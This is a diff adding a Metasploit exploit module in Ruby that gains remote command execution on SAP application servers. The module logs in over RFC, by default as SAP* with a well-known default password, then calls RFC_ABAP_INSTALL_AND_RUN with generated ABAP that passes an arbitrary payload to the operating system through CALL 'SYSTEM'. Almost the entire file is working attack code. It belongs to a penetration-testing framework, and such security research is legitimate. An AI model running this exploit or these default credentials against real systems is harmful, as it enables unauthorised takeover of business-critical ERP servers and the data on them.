sap_rfc_abap_install_and_run_cmd_execution

modules/exploits/sap/sap_rfc_abap_install_and_run_cmd_execution.rb

@@ -0,0 +1,162 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy.
+#
+# The following guys from ERP-SCAN deserve credit for their contributions -
+# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
+# Dmitry Evdokimov.
+#
+# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
+# who have Beta tested the modules and provided excellent feedback. Some people
+# just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+require 'rubygems'
+begin
+	require 'nwrfc'
+	rescue LoadError
+		abort("[x] This module requires the NW RFC SDK ruby wrapper (http://rubygems.org/gems/nwrfc) from Martin Ceronio.")
+end
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+	include NWRFC
+
+	def initialize
+	super(
+		'Name'	=> 'SAP RFC_ABAP_INSTALL_AND_RUN Command Execution',
+		'Description' => %q{
+			This module makes use of the RFC_ABAP_INSTALL_AND_RUN Remote Function Call to execute arbitrary SYSTEM commands.
+			RFC_ABAP_INSTALL_AND_RUN takes ABAP source lines and executes them. It is common for the the function to be disabled
+			or access revoked in a production system. It is also deprecated.
+			The module requires the NW RFC SDK from SAP as well as the Ruby wrapper nwrfc (http://rubygems.org/gems/nwrfc).
+			},
+		'References' =>
+			[
+				[ 'URL', 'http://labs.mwrinfosecurity.com' ]
+			],
+		'Arch' => ARCH_CMD,
+		'Compat' =>
+			{
+				'PayloadType' => 'cmd'
+			},
+		'Platform' => ['unix', 'linux'],
+		'Targets' =>
+				[
+					['SAP AS Linux', {}]
+				],
+		'Privileged' => true,
+		'DefaultTarget' => 0,
+		'Author' => [ 'nmonkee' ],
+		'License' => MSF_LICENSE
+		)
+
+	register_options([
+		OptString.new('RHOST', [true, 'Host', nil]),
+		OptString.new('RPORT', [true, 'Port Number', nil]),
+		OptString.new('USER', [true, 'Username', 'SAP*']),
+		OptString.new('PASS', [true, 'Password', '06071992']),
+		OptString.new('CLIENT', [true, 'Client', '001']),
+		OptString.new('SRHOST', [false, 'SAP Router Address', nil]),
+		OptString.new('SRPORT', [false, 'SAP Router Port Number', nil])
+		], self.class)
+	end
+
+	def exploit
+		user = datastore['USER'] if datastore['USER']
+		pass = datastore['PASS'] if datastore['PASS']
+		if datastore['CLIENT']
+			client = datastore['CLIENT'] if datastore['CLIENT'] =~ /^\d{3}\z/
+		end
+		host = datastore['RHOST']
+		port = datastore['RPORT']
+		split = port.to_s.split('')
+		sysnr = split[2]
+		sysnr << split[3]
+		command = payload.raw + "&"
+		exec_SYSTEM(user,client,pass,host,port,sysnr,command)
+	end
+
+	def exec_SYSTEM(user, client, pass, host, port, sysnr, command)
+		vprint_status("#{host}:#{port} [SAP] Trying client: '#{client}' username:'#{user}' password:'#{pass}'")
+		success = false
+		ashost = host
+		if datastore['SRHOST']
+			ashost = "/H/#{datastore['SRHOST']}/H/#{rhost}"
+		end
+
+		begin
+			auth_hash = {"user" => user, "passwd" => pass, "client" => client, "ashost" => ashost, "sysnr" => sysnr}
+			conn = Connection.new(auth_hash)
+			rescue NWError => e
+				print_error("#{host}:#{port} [SAP] login failed - credentials incorrect for client: #{client} username: #{user} password: #{pass}") if e.message =~ /Name or password is incorrect/
+				print_error("#{host}:#{port} [SAP] login failed - client #{client} does not exist") if e.message =~ /not available in this system/
+				print_error("#{host}:#{port} [SAP] login failed - communication failure (refused)") if e.message =~ /Connection refused/
+				print_error("#{host}:#{port} [SAP] login failed - communication failure (unreachable)") if e.message =~ /No route to host/
+				print_error("#{host}:#{port} [SAP] login failed - communication failure (hostname unknown)") if e.message =~ /unknown/
+				print_error("#{host}:#{port} [SAP] login failed - #{user} user account locked in client #{client}") if e.message =~ /Password logon no longer possible - too many failed attempts/
+				print_error("#{host}:#{port} [SAP] login failed - password must be changed for #{client}:#{user}:#{pass}") if e.message =~ /Password must be changed/
+			return
+		end
+
+		begin
+			conn_info = conn.connection_info
+			rescue
+				print_error("#{host}:#{port} [SAP] something went wrong :(")
+			return
+		end
+
+		function = conn.get_function("RFC_ABAP_INSTALL_AND_RUN")
+		fc = function.get_function_call
+		code = "REPORT EXTRACT LINE-SIZE 255 NO STANDARD PAGE HEADING." + "\r\n"
+		code << "TYPES lt_line(255) TYPE c." + "\r\n"
+		code << "DATA lv_cmd(255) TYPE c." + "\r\n"
+		code << "DATA lt_result TYPE STANDARD TABLE OF lt_line WITH HEADER LINE." + "\r\n"
+		code << "lv_cmd = "
+		command.each do |payload|
+			split_str = payload.strip
+			payload_arr = split_str.scan(/.{1,20}/)
+			payload_arr.each do |small_payload|
+			if small_payload == payload_arr.last
+				code << "'#{small_payload}'." + "\r\n"
+			else
+				code << "'#{small_payload}' &" + "\r\n"
+			end
+		end
+
+		code << "CALL 'SYSTEM' ID 'COMMAND' FIELD lv_cmd" + "\r\n"
+		code << "ID 'TAB' FIELD lt_result-*sys*." + "\r\n"
+		code << "LOOP AT lt_result." + "\r\n"
+		code << "WRITE : / lt_result." + "\r\n"
+		code << "ENDLOOP." + "\r\n"
+
+		code.each {|line|
+			fc[:PROGRAM].new_row {|row| row[:LINE] = line.strip}
+		}
+
+		begin
+			fc.invoke
+			rescue NWError => e
+				print_error("#{host}:#{port} [SAP] FunctionCallException - code: #{e.code} group: #{e.group} message: #{e.message} type: #{e.type} number: #{e.number}")
+		end
+
+		success = true
+
+		if success
+			print_good("#{host}:#{port} [SAP] successful login - #{client}:#{user}:#{pass}")
+			print_good("#{host}:#{port} [SAP] executed command")
+		end
+	end
+end